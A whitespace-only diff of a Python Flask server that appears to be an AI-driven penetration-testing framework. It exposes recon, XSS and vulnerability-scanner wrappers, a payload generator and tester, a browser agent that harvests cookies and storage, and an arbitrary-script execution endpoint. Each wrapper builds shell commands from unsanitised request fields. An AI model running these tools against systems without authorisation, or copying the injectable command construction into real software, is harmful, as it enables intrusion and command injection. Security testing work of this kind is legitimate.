logger.info(f"๐Ÿ“Š Dirsearch scan completed for {url}") @@ -10978,25 +10978,25 @@ def katana(): form_extraction = params.get("form_extraction", True) output_format = params.get("output_format", "json") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Katana called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + command = f"katana -u {url} -d {depth}" - + if js_crawl: command += " -jc" - + if form_extraction: command += " -fx" - + if output_format == "json": command += " -jsonl" - + if additional_args: command += f" {additional_args}" - + logger.info(f"โš”๏ธ Starting Katana crawl: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Katana crawl completed for {url}") @@ -11015,25 +11015,25 @@ def gau(): include_subs = params.get("include_subs", True) blacklist = params.get("blacklist", "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico") additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ Gau called without domain parameter") return jsonify({"error": "Domain parameter is required"}), 400 - + command = f"gau {domain}" - + if providers != "wayback,commoncrawl,otx,urlscan": command += f" --providers {providers}" - + if include_subs: command += " --subs" - + if blacklist: command += f" --blacklist {blacklist}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ“ก Starting Gau URL discovery: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š Gau URL discovery completed for {domain}") @@ -11051,22 +11051,22 @@ def waybackurls(): get_versions = params.get("get_versions", False) no_subs = params.get("no_subs", False) additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ Waybackurls called without domain parameter") return jsonify({"error": "Domain parameter is required"}), 400 - + command = f"waybackurls {domain}" - + if get_versions: command += " --get-versions" - + if no_subs: command += " --no-subs" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ•ฐ๏ธ Starting Waybackurls discovery: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š Waybackurls discovery completed for {domain}") @@ -11087,25 +11087,25 @@ def arjun(): threads = params.get("threads", 25) stable = params.get("stable", False) additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Arjun called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + command = f"arjun -u {url} -m {method} -t {threads}" - + if wordlist: command += f" -w {wordlist}" - + if delay > 0: command += f" -d {delay}" - + if stable: command += " --stable" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐ŸŽฏ Starting Arjun parameter discovery: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Arjun parameter discovery completed for {url}") @@ -11124,22 +11124,22 @@ def paramspider(): exclude = params.get("exclude", "png,jpg,gif,jpeg,swf,woff,svg,pdf,css,ico") output = params.get("output", "") additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ ParamSpider called without domain parameter") return jsonify({"error": "Domain parameter is required"}), 400 - + command = f"paramspider -d {domain} -l {level}" - + if exclude: command += f" --exclude {exclude}" - + if output: command += f" -o {output}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ•ท๏ธ Starting ParamSpider mining: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š ParamSpider mining completed for {domain}") @@ -11159,22 +11159,22 @@ def x8(): body = params.get("body", "") headers = params.get("headers", "") additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ x8 called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + command = f"x8 -u {url} -w {wordlist} -X {method}" - + if body: command += f" -b '{body}'" - + if headers: command += f" -H '{headers}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting x8 parameter discovery: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š x8 parameter discovery completed for {url}") @@ -11194,22 +11194,22 @@ def jaeles(): threads = params.get("threads", 20) timeout = params.get("timeout", 20) additional_args = params.get("additional_args", "") - + if not url: logger.warning("๐ŸŒ Jaeles called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + command = f"jaeles scan -u {url} -c {threads} --timeout {timeout}" - + if signatures: command += f" -s {signatures}" - + if config: command += f" --config {config}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ”ฌ Starting Jaeles vulnerability scan: {url}") result = execute_command(command) logger.info(f"๐Ÿ“Š Jaeles vulnerability scan completed for {url}") @@ -11230,31 +11230,31 @@ def dalfox(): mining_dict = params.get("mining_dict", True) custom_payload = params.get("custom_payload", "") additional_args = params.get("additional_args", "") - + if not url and not pipe_mode: logger.warning("๐ŸŒ Dalfox called without URL parameter") return jsonify({"error": "URL parameter is required"}), 400 - + if pipe_mode: command = "dalfox pipe" else: command = f"dalfox url {url}" - + if blind: command += " --blind" - + if mining_dom: command += " --mining-dom" - + if mining_dict: command += " --mining-dict" - + if custom_payload: command += f" --custom-payload '{custom_payload}'" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐ŸŽฏ Starting Dalfox XSS scan: {url if url else 'pipe mode'}") result = execute_command(command) logger.info(f"๐Ÿ“Š Dalfox XSS scan completed") @@ -11277,34 +11277,34 @@ def httpx(): web_server = params.get("web_server", False) threads = params.get("threads", 50) additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐ŸŒ httpx called without target parameter") return jsonify({"error": "Target parameter is required"}), 400 - + command = f"httpx -l {target} -t {threads}" - + if probe: command += " -probe" - + if tech_detect: command += " -tech-detect" - + if status_code: command += " -sc" - + if content_length: command += " -cl" - + if title: command += " -title" - + if web_server: command += " -server" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐ŸŒ Starting httpx probe: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š httpx probe completed for {target}") @@ -11321,19 +11321,19 @@ def anew(): input_data = params.get("input_data", "") output_file = params.get("output_file", "") additional_args = params.get("additional_args", "") - + if not input_data: logger.warning("๐Ÿ“ Anew called without input data") return jsonify({"error": "Input data is required"}), 400 - + if output_file: command = f"echo '{input_data}' | anew {output_file}" else: command = f"echo '{input_data}' | anew" - + if additional_args: command += f" {additional_args}" - + logger.info("๐Ÿ“ Starting anew data processing") result = execute_command(command) logger.info("๐Ÿ“Š anew data processing completed") @@ -11350,16 +11350,16 @@ def qsreplace(): urls = params.get("urls", "") replacement = params.get("replacement", "FUZZ") additional_args = params.get("additional_args", "") - + if not urls: logger.warning("๐ŸŒ qsreplace called without URLs") return jsonify({"error": "URLs parameter is required"}), 400 - + command = f"echo '{urls}' | qsreplace '{replacement}'" - + if additional_args: command += f" {additional_args}" - + logger.info("๐Ÿ”„ Starting qsreplace parameter replacement") result = execute_command(command) logger.info("๐Ÿ“Š qsreplace parameter replacement completed") @@ -11377,22 +11377,22 @@ def uro(): whitelist = params.get("whitelist", "") blacklist = params.get("blacklist", "") additional_args = params.get("additional_args", "") - + if not urls: logger.warning("๐ŸŒ uro called without URLs") return jsonify({"error": "URLs parameter is required"}), 400 - + command = f"echo '{urls}' | uro" - + if whitelist: command += f" --whitelist {whitelist}" - + if blacklist: command += f" --blacklist {blacklist}" - + if additional_args: command += f" {additional_args}" - + logger.info("๐Ÿ” Starting uro URL filtering") result = execute_command(command) logger.info("๐Ÿ“Š uro URL filtering completed") @@ -11411,7 +11411,7 @@ def uro(): class HTTPTestingFramework: """Advanced HTTP testing framework as Burp Suite alternative""" - + def __init__(self): self.session = requests.Session() self.session.headers.update({ @@ -11422,15 +11422,15 @@ class HTTPTestingFramework: self.match_replace_rules = [] # [{'where':'query|headers|body|url','pattern':'regex','replacement':'str'}] self.scope = None # {'host': 'example.com', 'include_subdomains': True} self._req_id = 0 - + def setup_proxy(self, proxy_port: int = 8080): """Setup HTTP proxy for request interception""" self.session.proxies = { 'http': f'http://127.0.0.1:{proxy_port}', 'https': f'http://127.0.0.1:{proxy_port}' } - - def intercept_request(self, url: str, method: str = 'GET', data: dict = None, + + def intercept_request(self, url: str, method: str = 'GET', data: dict = None, headers: dict = None, cookies: dict = None) -> dict: """Intercept and analyze HTTP requests""" try: @@ -11443,7 +11443,7 @@ class HTTPTestingFramework: url, data, send_headers = self._apply_match_replace(url, data, dict(self.session.headers)) if headers: send_headers.update(headers) - + if method.upper() == 'GET': response = self.session.get(url, params=data, headers=send_headers, timeout=30) elif method.upper() == 'POST': @@ -11454,7 +11454,7 @@ class HTTPTestingFramework: response = self.session.delete(url, headers=send_headers, timeout=30) else: response = self.session.request(method, url, data=data, headers=send_headers, timeout=30) - + # Store request/response in history self._req_id += 1 request_data = { @@ -11465,7 +11465,7 @@ class HTTPTestingFramework: 'data': data, 'timestamp': datetime.now().isoformat() } - + response_data = { 'status_code': response.status_code, 'headers': dict(response.headers), @@ -11473,22 +11473,22 @@ class HTTPTestingFramework: 'size': len(response.content), 'time': response.elapsed.total_seconds() } - + self.proxy_history.append({ 'request': request_data, 'response': response_data }) - + # Analyze for vulnerabilities self._analyze_response_for_vulns(url, response) - + return { 'success': True, 'request': request_data, 'response': response_data, 'vulnerabilities': self._get_recent_vulns() } - + except Exception as e: logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'HTTP-Framework', str(e))}") return {'success': False, 'error': str(e)} @@ -11617,11 +11617,11 @@ class HTTPTestingFramework: 'tested': total, 'interesting': interesting[:50] } - + def _analyze_response_for_vulns(self, url: str, response): """Analyze HTTP response for common vulnerabilities""" vulns = [] - + # Check for missing security headers security_headers = { 'X-Frame-Options': 'Clickjacking protection missing', @@ -11630,7 +11630,7 @@ class HTTPTestingFramework: 'Strict-Transport-Security': 'HTTPS enforcement missing', 'Content-Security-Policy': 'Content Security Policy missing' } - + for header, description in security_headers.items(): if header not in response.headers: vulns.append({ @@ -11640,7 +11640,7 @@ class HTTPTestingFramework: 'url': url, 'header': header }) - + # Check for sensitive information disclosure sensitive_patterns = [ (r'password\s*[:=]\s*["\']?([^"\'\s]+)', 'Password disclosure'), @@ -11648,7 +11648,7 @@ class HTTPTestingFramework: (r'secret\s*[:=]\s*["\']?([^"\'\s]+)', 'Secret disclosure'), (r'token\s*[:=]\s*["\']?([^"\'\s]+)', 'Token disclosure') ] - + for pattern, description in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: @@ -11659,7 +11659,7 @@ class HTTPTestingFramework: 'url': url, 'matches': matches[:5] # Limit matches }) - + # Check for SQL injection indicators sql_errors = [ 'SQL syntax error', @@ -11668,7 +11668,7 @@ class HTTPTestingFramework: 'Microsoft OLE DB Provider', 'PostgreSQL query failed' ] - + for error in sql_errors: if error.lower() in response.text.lower(): vulns.append({ @@ -11677,13 +11677,13 @@ class HTTPTestingFramework: 'description': f'Potential SQL injection: {error}', 'url': url }) - + self.vulnerabilities.extend(vulns) - + def _get_recent_vulns(self, limit: int = 10): """Get recent vulnerabilities found""" return self.vulnerabilities[-limit:] if self.vulnerabilities else [] - + def spider_website(self, base_url: str, max_depth: int = 3, max_pages: int = 100) -> dict: """Spider website to discover endpoints and forms""" try: @@ -11691,32 +11691,32 @@ class HTTPTestingFramework: forms = [] to_visit = [(base_url, 0)] visited = set() - + while to_visit and len(discovered_urls) < max_pages: current_url, depth = to_visit.pop(0) - + if current_url in visited or depth > max_depth: continue - + visited.add(current_url) - + try: response = self.session.get(current_url, timeout=10) if response.status_code == 200: discovered_urls.add(current_url) - + # Parse HTML for links and forms soup = BeautifulSoup(response.text, 'html.parser') - + # Find all links for link in soup.find_all('a', href=True): href = link['href'] full_url = urljoin(current_url, href) - + if urlparse(full_url).netloc == urlparse(base_url).netloc: if full_url not in visited and depth < max_depth: to_visit.append((full_url, depth + 1)) - + # Find all forms for form in soup.find_all('form'): form_data = { @@ -11725,20 +11725,20 @@ class HTTPTestingFramework: 'method': form.get('method', 'GET').upper(), 'inputs': [] } - + for input_tag in form.find_all(['input', 'textarea', 'select']): form_data['inputs'].append({ 'name': input_tag.get('name', ''), 'type': input_tag.get('type', 'text'), 'value': input_tag.get('value', '') }) - + forms.append(form_data) - + except Exception as e: logger.warning(f"Error spidering {current_url}: {str(e)}") continue - + return { 'success': True, 'discovered_urls': list(discovered_urls), @@ -11746,79 +11746,79 @@ class HTTPTestingFramework: 'total_pages': len(discovered_urls), 'vulnerabilities': self._get_recent_vulns() } - + except Exception as e: logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'Spider', str(e))}") return {'success': False, 'error': str(e)} class BrowserAgent: """AI-powered browser agent for web application testing and inspection""" - + def __init__(self): self.driver = None self.screenshots = [] self.page_sources = [] self.network_logs = [] - + def setup_browser(self, headless: bool = True, proxy_port: int = None): """Setup Chrome browser with security testing options""" try: chrome_options = Options() - + if headless: chrome_options.add_argument('--headless') - + chrome_options.add_argument('--no-sandbox') chrome_options.add_argument('--disable-dev-shm-usage') chrome_options.add_argument('--disable-gpu') chrome_options.add_argument('--window-size=1920,1080') chrome_options.add_argument('--user-agent=HexStrike-BrowserAgent/1.0 (Security Testing)') - + # Enable logging chrome_options.add_argument('--enable-logging') chrome_options.add_argument('--log-level=0') - + # Security testing options chrome_options.add_argument('--disable-web-security') chrome_options.add_argument('--allow-running-insecure-content') chrome_options.add_argument('--ignore-certificate-errors') chrome_options.add_argument('--ignore-ssl-errors') - + if proxy_port: chrome_options.add_argument(f'--proxy-server=http://127.0.0.1:{proxy_port}') - + # Enable network logging chrome_options.set_capability('goog:loggingPrefs', {'performance': 'ALL'}) - + self.driver = webdriver.Chrome(options=chrome_options) self.driver.set_page_load_timeout(30) - + logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'RUNNING', 'Chrome Browser Initialized')}") return True - + except Exception as e: logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'BrowserAgent', str(e))}") return False - + def navigate_and_inspect(self, url: str, wait_time: int = 5) -> dict: """Navigate to URL and perform comprehensive inspection""" try: if not self.driver: if not self.setup_browser(): return {'success': False, 'error': 'Failed to setup browser'} - + nav_command = f'Navigate to {url}' logger.info(f"{ModernVisualEngine.format_command_execution(nav_command, 'STARTING')}") - + # Navigate to URL self.driver.get(url) time.sleep(wait_time) - + # Take screenshot screenshot_path = f"/tmp/hexstrike_screenshot_{int(time.time())}.png" self.driver.save_screenshot(screenshot_path) self.screenshots.append(screenshot_path) - + # Get page source page_source = self.driver.page_source self.page_sources.append({ @@ -11826,12 +11826,12 @@ class BrowserAgent: 'source': page_source[:50000], # Limit size 'timestamp': datetime.now().isoformat() }) - + # Extract page information page_info = { 'title': self.driver.title, 'url': self.driver.current_url, - 'cookies': [{'name': c['name'], 'value': c['value'], 'domain': c['domain']} + 'cookies': [{'name': c['name'], 'value': c['value'], 'domain': c['domain']} for c in self.driver.get_cookies()], 'local_storage': self._get_local_storage(), 'session_storage': self._get_session_storage(), @@ -11842,7 +11842,7 @@ class BrowserAgent: 'network_requests': self._get_network_logs(), 'console_errors': self._get_console_errors() } - + # Analyze for security issues security_analysis = self._analyze_page_security(page_source, page_info) # Merge extended passive analysis @@ -11851,9 +11851,9 @@ class BrowserAgent: security_analysis['total_issues'] = len(security_analysis['issues']) security_analysis['security_score'] = max(0, 100 - (security_analysis['total_issues'] * 5)) security_analysis['passive_modules'] = extended_passive.get('modules', []) - + logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'SUCCESS', url)}") - + return { 'success': True, 'page_info': page_info, @@ -11861,11 +11861,11 @@ class BrowserAgent: 'screenshot': screenshot_path, 'timestamp': datetime.now().isoformat() } - + except Exception as e: logger.error(f"{ModernVisualEngine.format_error_card('ERROR', 'BrowserAgent', str(e))}") return {'success': False, 'error': str(e)} - + # ---------------------- Browser Deep Introspection Helpers ---------------------- def _get_console_errors(self) -> list: """Collect console errors & warnings (if supported)""" @@ -11995,7 +11995,7 @@ class BrowserAgent: """) except: return {} - + def _get_session_storage(self) -> dict: """Extract session storage data""" try: @@ -12009,7 +12009,7 @@ class BrowserAgent: """) except: return {} - + def _extract_forms(self) -> list: """Extract all forms from the page""" forms = [] @@ -12021,7 +12021,7 @@ class BrowserAgent: 'method': form.get_attribute('method') or 'GET', 'inputs': [] } - + inputs = form.find_elements(By.TAG_NAME, 'input') for input_elem in inputs: form_data['inputs'].append({ @@ -12029,13 +12029,13 @@ class BrowserAgent: 'type': input_elem.get_attribute('type') or 'text', 'value': input_elem.get_attribute('value') or '' }) - + forms.append(form_data) except: pass - + return forms - + def _extract_links(self) -> list: """Extract all links from the page""" links = [] @@ -12050,9 +12050,9 @@ class BrowserAgent: }) except: pass - + return links - + def _extract_inputs(self) -> list: """Extract all input elements""" inputs = [] @@ -12067,9 +12067,9 @@ class BrowserAgent: }) except: pass - + return inputs - + def _extract_scripts(self) -> list: """Extract script sources and inline scripts""" scripts = [] @@ -12088,15 +12088,15 @@ class BrowserAgent: }) except: pass - + return scripts - + def _get_network_logs(self) -> list: """Get network request logs""" try: logs = self.driver.get_log('performance') network_requests = [] - + for log in logs[-50:]: # Last 50 logs message = json.loads(log['message']) if message['message']['method'] == 'Network.responseReceived': @@ -12107,15 +12107,15 @@ class BrowserAgent: 'mimeType': response['mimeType'], 'headers': response.get('headers', {}) }) - + return network_requests except: return [] - + def _analyze_page_security(self, page_source: str, page_info: dict) -> dict: """Analyze page for security vulnerabilities""" issues = [] - + # Check for sensitive data in local/session storage for storage_type, storage_data in [('localStorage', page_info.get('local_storage', {})), ('sessionStorage', page_info.get('session_storage', {}))]: @@ -12127,10 +12127,10 @@ class BrowserAgent: 'description': f'Sensitive data found in {storage_type}: {key}', 'location': storage_type }) - + # Check for forms without CSRF protection for form in page_info.get('forms', []): - has_csrf = any('csrf' in input_data['name'].lower() or 'token' in input_data['name'].lower() + has_csrf = any('csrf' in input_data['name'].lower() or 'token' in input_data['name'].lower() for input_data in form['inputs']) if not has_csrf and form['method'].upper() == 'POST': issues.append({ @@ -12139,7 +12139,7 @@ class BrowserAgent: 'description': 'Form without CSRF protection detected', 'form_action': form['action'] }) - + # Check for inline JavaScript inline_scripts = [s for s in page_info.get('scripts', []) if s['type'] == 'inline'] if inline_scripts: @@ -12149,13 +12149,13 @@ class BrowserAgent: 'description': f'Found {len(inline_scripts)} inline JavaScript blocks', 'count': len(inline_scripts) }) - + return { 'total_issues': len(issues), 'issues': issues, 'security_score': max(0, 100 - (len(issues) * 10)) # Simple scoring } - + def close_browser(self): """Close the browser instance""" if self.driver: @@ -12362,82 +12362,82 @@ def burpsuite_alternative(): headless = params.get("headless", True) max_depth = params.get("max_depth", 3) max_pages = params.get("max_pages", 50) - + if not target: return jsonify({"error": "Target parameter is required"}), 400 - + logger.info(f"{ModernVisualEngine.create_section_header('BURP SUITE ALTERNATIVE', '๐Ÿ”ฅ', 'BLOOD_RED')}") scan_message = f'Starting {scan_type} scan of {target}' logger.info(f"{ModernVisualEngine.format_highlighted_text(scan_message, 'RED')}") - + results = { 'target': target, 'scan_type': scan_type, 'timestamp': datetime.now().isoformat(), 'success': True } - + # Phase 1: Browser-based reconnaissance if scan_type in ['comprehensive', 'spider']: logger.info(f"{ModernVisualEngine.format_tool_status('BrowserAgent', 'RUNNING', 'Reconnaissance Phase')}") - + if not browser_agent.driver: browser_agent.setup_browser(headless) - + browser_result = browser_agent.navigate_and_inspect(target) results['browser_analysis'] = browser_result - + # Phase 2: HTTP spidering if scan_type in ['comprehensive', 'spider']: logger.info(f"{ModernVisualEngine.format_tool_status('HTTP-Spider', 'RUNNING', 'Discovery Phase')}") - + spider_result = http_framework.spider_website(target, max_depth, max_pages) results['spider_analysis'] = spider_result - + # Phase 3: Vulnerability analysis if scan_type in ['comprehensive', 'active']: logger.info(f"{ModernVisualEngine.format_tool_status('VulnScanner', 'RUNNING', 'Analysis Phase')}") - + # Test discovered endpoints discovered_urls = results.get('spider_analysis', {}).get('discovered_urls', [target]) vuln_results = [] - + for url in discovered_urls[:20]: # Limit to 20 URLs test_result = http_framework.intercept_request(url) if test_result.get('success'): vuln_results.append(test_result) - + results['vulnerability_analysis'] = { 'tested_urls': len(vuln_results), 'total_vulnerabilities': len(http_framework.vulnerabilities), 'recent_vulnerabilities': http_framework._get_recent_vulns(20) } - + # Generate summary total_vulns = len(http_framework.vulnerabilities) vuln_summary = {} for vuln in http_framework.vulnerabilities: severity = vuln.get('severity', 'unknown') vuln_summary[severity] = vuln_summary.get(severity, 0) + 1 - + results['summary'] = { 'total_vulnerabilities': total_vulns, 'vulnerability_breakdown': vuln_summary, 'pages_analyzed': len(results.get('spider_analysis', {}).get('discovered_urls', [])), 'security_score': max(0, 100 - (total_vulns * 5)) } - + # Display summary with enhanced colors logger.info(f"{ModernVisualEngine.create_section_header('SCAN COMPLETE', 'โœ…', 'SUCCESS')}") vuln_message = f'Found {total_vulns} vulnerabilities' color_choice = 'YELLOW' if total_vulns > 0 else 'GREEN' logger.info(f"{ModernVisualEngine.format_highlighted_text(vuln_message, color_choice)}") - + for severity, count in vuln_summary.items(): logger.info(f" {ModernVisualEngine.format_vulnerability_severity(severity, count)}") - + return jsonify(results) - + except Exception as e: logger.error(f"{ModernVisualEngine.format_error_card('CRITICAL', 'BurpAlternative', str(e))}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -12460,32 +12460,32 @@ def zap(): format_type = params.get("format", "xml") output_file = params.get("output_file", "") additional_args = params.get("additional_args", "") - + if not target and scan_type != "daemon": logger.warning("๐ŸŽฏ ZAP called without target parameter") return jsonify({ "error": "Target parameter is required for scans" }), 400 - + if daemon: command = f"zaproxy -daemon -host {host} -port {port}" if api_key: command += f" -config api.key={api_key}" else: command = f"zaproxy -cmd -quickurl {target}" - + if format_type: command += f" -quickout {format_type}" - + if output_file: command += f" -quickprogress -dir \"{output_file}\"" - + if api_key: command += f" -config api.key={api_key}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting ZAP scan: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š ZAP scan completed for {target}") @@ -12503,18 +12503,18 @@ def wafw00f(): params = request.json target = params.get("target", "") additional_args = params.get("additional_args", "") - + if not target: logger.warning("๐Ÿ›ก๏ธ Wafw00f called without target parameter") return jsonify({ "error": "Target parameter is required" }), 400 - + command = f"wafw00f {target}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ›ก๏ธ Starting Wafw00f WAF detection: {target}") result = execute_command(command) logger.info(f"๐Ÿ“Š Wafw00f completed for {target}") @@ -12533,21 +12533,21 @@ def fierce(): domain = params.get("domain", "") dns_server = params.get("dns_server", "") additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ Fierce called without domain parameter") return jsonify({ "error": "Domain parameter is required" }), 400 - + command = f"fierce --domain {domain}" - + if dns_server: command += f" --dns-servers {dns_server}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting Fierce DNS recon: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š Fierce completed for {domain}") @@ -12567,24 +12567,24 @@ def dnsenum(): dns_server = params.get("dns_server", "") wordlist = params.get("wordlist", "") additional_args = params.get("additional_args", "") - + if not domain: logger.warning("๐ŸŒ DNSenum called without domain parameter") return jsonify({ "error": "Domain parameter is required" }), 400 - + command = f"dnsenum {domain}" - + if dns_server: command += f" --dnsserver {dns_server}" - + if wordlist: command += f" --file {wordlist}" - + if additional_args: command += f" {additional_args}" - + logger.info(f"๐Ÿ” Starting DNSenum: {domain}") result = execute_command(command) logger.info(f"๐Ÿ“Š DNSenum completed for {domain}") @@ -12603,13 +12603,13 @@ def install_python_package(): params = request.json package = params.get("package", "") env_name = params.get("env_name", "default") - + if not package: return jsonify({"error": "Package name is required"}), 400 - + logger.info(f"๐Ÿ“ฆ Installing Python package: {package} in env {env_name}") success = env_manager.install_package(env_name, package) - + if success: return jsonify({ "success": True, @@ -12621,7 +12621,7 @@ def install_python_package(): "success": False, "error": f"Failed to install package {package}" }), 500 - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error installing Python package: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -12634,32 +12634,32 @@ def execute_python_script(): script = params.get("script", "") env_name = params.get("env_name", "default") filename = params.get("filename", f"script_{int(time.time())}.py") - + if not script: return jsonify({"error": "Script content is required"}), 400 - + # Create script file script_result = file_manager.create_file(filename, script) if not script_result["success"]: return jsonify(script_result), 500 - + # Get Python path for environment python_path = env_manager.get_python_path(env_name) script_path = script_result["path"] - + # Execute script command = f"{python_path} {script_path}" logger.info(f"๐Ÿ Executing Python script in env {env_name}: {filename}") result = execute_command(command, use_cache=False) - + # Clean up script file file_manager.delete_file(filename) - + result["env_name"] = env_name result["script_filename"] = filename logger.info(f"๐Ÿ“Š Python script execution completed") return jsonify(result) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error executing Python script: {str(e)}") return jsonify({"error": f"Server error: {str(e)}"}), 500 @@ -12670,7 +12670,7 @@ def execute_python_script(): class AIPayloadGenerator: """AI-powered payload generation system with contextual intelligence""" - + def __init__(self): self.payload_templates = { "xss": { @@ -12744,23 +12744,23 @@ class AIPayloadGenerator: ] } } - + def generate_contextual_payload(self, target_info: Dict[str, Any]) -> Dict[str, Any]: """Generate contextual payloads based on target information""" - + attack_type = target_info.get("attack_type", "xss") complexity = target_info.get("complexity", "basic") target_tech = target_info.get("technology", "").lower() - + # Get base payloads payloads = self._get_payloads(attack_type, complexity) - + # Enhance payloads with context enhanced_payloads = self._enhance_with_context(payloads, target_tech) - + # Generate test cases test_cases = self._generate_test_cases(enhanced_payloads, attack_type) - + return { "attack_type": attack_type, "complexity": complexity, @@ -12769,7 +12769,7 @@ class AIPayloadGenerator: "test_cases": test_cases, "recommendations": self._get_recommendations(attack_type) } - + def _get_payloads(self, attack_type: str, complexity: str) -> list: """Get payloads for specific attack type and complexity""" if attack_type in self.payload_templates: @@ -12778,13 +12778,13 @@ class AIPayloadGenerator: else: # Return basic payloads if complexity not found return self.payload_templates[attack_type].get("basic", []) - + return [""] - + def _enhance_with_context(self, payloads: list, tech_context: str) -> list: """Enhance payloads with contextual information""" enhanced = [] - + for payload in payloads: # Basic payload enhanced.append({ @@ -12793,7 +12793,7 @@ class AIPayloadGenerator: "encoding": "none", "risk_level": self._assess_risk_level(payload) }) - + # URL encoded version url_encoded = payload.replace(" ", "%20").replace("<", "%3C").replace(">", "%3E") enhanced.append({ @@ -12802,13 +12802,13 @@ class AIPayloadGenerator: "encoding": "url", "risk_level": self._assess_risk_level(payload) }) - + return enhanced - + def _generate_test_cases(self, payloads: list, attack_type: str) -> list: """Generate test cases for the payloads""" test_cases = [] - + for i, payload_info in enumerate(payloads[:5]): # Limit to 5 test cases test_case = { "id": f"test_{i+1}", @@ -12818,9 +12818,9 @@ class AIPayloadGenerator: "risk_level": payload_info["risk_level"] } test_cases.append(test_case) - + return test_cases - + def _get_expected_behavior(self, attack_type: str) -> str: """Get expected behavior for attack type""" behaviors = { @@ -12832,21 +12832,21 @@ class AIPayloadGenerator: "xxe": "XML external entity processing" } return behaviors.get(attack_type, "Unexpected application behavior") - + def _assess_risk_level(self, payload: str) -> str: """Assess risk level of payload""" high_risk_indicators = ["system", "exec", "eval", "cmd", "shell", "passwd", "etc"] medium_risk_indicators = ["script", "alert", "union", "select"] - + payload_lower = payload.lower() - + if any(indicator in payload_lower for indicator in high_risk_indicators): return "HIGH" elif any(indicator in payload_lower for indicator in medium_risk_indicators): return "MEDIUM" else: return "LOW" - + def _get_recommendations(self, attack_type: str) -> list: """Get testing recommendations""" recommendations = { @@ -12871,7 +12871,7 @@ class AIPayloadGenerator: "Test with various payloads for different OS" ] } - + return recommendations.get(attack_type, ["Test thoroughly", "Monitor responses"]) # Global AI payload generator @@ -12888,18 +12888,18 @@ def ai_generate_payload(): "technology": params.get("technology", ""), "url": params.get("url", "") } - + logger.info(f"๐Ÿค– Generating AI payloads for {target_info['attack_type']} attack") result = ai_payload_generator.generate_contextual_payload(target_info) - + logger.info(f"โœ… Generated {result['payload_count']} contextual payloads") - + return jsonify({ "success": True, "ai_payload_generation": result, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in AI payload generation: {str(e)}") return jsonify({ @@ -12915,25 +12915,25 @@ def ai_test_payload(): payload = params.get("payload", "") target_url = params.get("target_url", "") method = params.get("method", "GET") - + if not payload or not target_url: return jsonify({ "success": False, "error": "Payload and target_url are required" }), 400 - + logger.info(f"๐Ÿงช Testing AI-generated payload against {target_url}") - + # Create test command based on method and payload if method.upper() == "GET": encoded_payload = payload.replace(" ", "%20").replace("'", "%27") test_command = f"curl -s '{target_url}?test={encoded_payload}'" else: test_command = f"curl -s -X POST -d 'test={payload}' '{target_url}'" - + # Execute test result = execute_command(test_command, use_cache=False) - + # AI analysis of results analysis = { "payload_tested": payload, @@ -12948,16 +12948,16 @@ def ai_test_payload(): "Monitor application behavior changes" ] } - + logger.info(f"๐Ÿ” Payload test completed | Potential vuln: {analysis['potential_vulnerability']}") - + return jsonify({ "success": True, "test_result": result, "ai_analysis": analysis, "timestamp": datetime.now().isoformat() }) - + except Exception as e: logger.error(f"๐Ÿ’ฅ Error in AI payload testing: {str(e)}") return jsonify({ @@ -12978,13 +12978,13 @@ def api_fuzzer(): endpoints = params.get("endpoints", []) methods = params.get("methods", ["GET", "POST", "PUT", "DELETE"]) wordlist = params.get("wordlist", "/usr/share/wordlists/api/api-endpoints.txt") - + if not base_url: logger.warning("๐ŸŒ API Fuzzer called without base_url parameter") return jsonify({ "error": "Base URL parameter is required" }), 400 - + # Create comprehensive API fuzzing command if endpoints: # Test specific endpoints @@ -12999,7 +12999,7 @@ def api_fuzzer(): "method": method, "result": result }) - + logger.info(f"๐Ÿ” API endpoint testing completed for {len(endpoints)} endpoints") return jsonify({ "success": True, @@ -13009,17 +13009,17 @@ def api_fuzzer(): else: # Discover endpoints using wordlist command = f"ffuf -u {base_url}/FUZZ -w {wordlist} -mc 200,201,202,204,301,302,307,401,403,405 -t 50" - + 